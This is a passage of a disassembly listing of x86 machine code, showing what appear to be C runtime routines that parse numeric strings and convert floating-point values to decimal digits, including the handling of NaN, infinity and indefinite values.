		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C538
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C538
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C538
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C534, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C538
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C534, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C534, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C534, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C534, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
